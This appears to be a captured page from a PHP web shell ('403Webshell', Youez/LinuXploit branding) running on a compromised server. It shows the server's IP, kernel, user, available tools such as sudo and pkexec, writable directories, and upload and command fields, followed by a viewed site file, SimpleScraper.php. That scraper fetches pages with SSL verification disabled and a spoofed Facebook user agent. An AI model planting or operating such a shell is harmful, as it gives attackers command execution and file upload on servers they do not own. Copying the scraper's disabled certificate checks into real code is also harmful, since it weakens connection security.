403Webshell
Server IP : 150.230.34.123  /  Your IP : 216.73.217.23
Web Server : LiteSpeed
System : Linux amd-instance-20210802-1657 5.15.0-1042-oracle #48~20.04.1-Ubuntu SMP Mon Aug 21 18:27:46 UTC 2023 x86_64
User : ubuntu ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lsws/aloysius/html/aloysius_backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/aloysius/html/aloysius_backup/SimpleScraper.php
<?php

class SimpleScraper {

    public static function scrape($url) {
        $html = self::fetchHtml($url);
        if (!$html) {
            return false;
        }
        return self::parseMetaTagsDom($html);
    }

    private static function fetchHtml($url) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        
        $facebook_agent = 'facebookexternalhit/1.1 (+www.facebook.com)';
        curl_setopt($ch, CURLOPT_USERAGENT, $facebook_agent);
        
        $html = curl_exec($ch);
        curl_close($ch);
        
        return $html;
    }

    // Function using DOMDocument for reliable parsing
    private static function parseMetaTagsDom($html) {
        $data = ['title' => null, 'og_tags' => []];

        // Create a new DOMDocument object
        $dom = new DOMDocument();
        
        // Suppress HTML5 parsing errors from messy real-world HTML
        @$dom->loadHTML($html); 
        
        // Use XPath to query the document
        $xpath = new DOMXPath($dom);

        // 1. Get the Title
        $titleNode = $xpath->query('//title');
        if ($titleNode->length > 0) {
            $data['title'] = trim($titleNode->item()->nodeValue);
        }

        // 2. Get Open Graph tags using XPath
        // Query all meta tags that have a 'property' attribute starting with 'og:'
        $ogMetaNodes = $xpath->query('//meta[starts-with(@property, "og:")]');

        foreach ($ogMetaNodes as $node) {
            $property = str_replace('og:', '', $node->getAttribute('property'));
            $content = $node->getAttribute('content');

            if ($property === 'image') {
                $data['og_tags']['image'][] = $content;
            } else {
                $data['og_tags'][$property] = $content;
            }
        }
        
        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit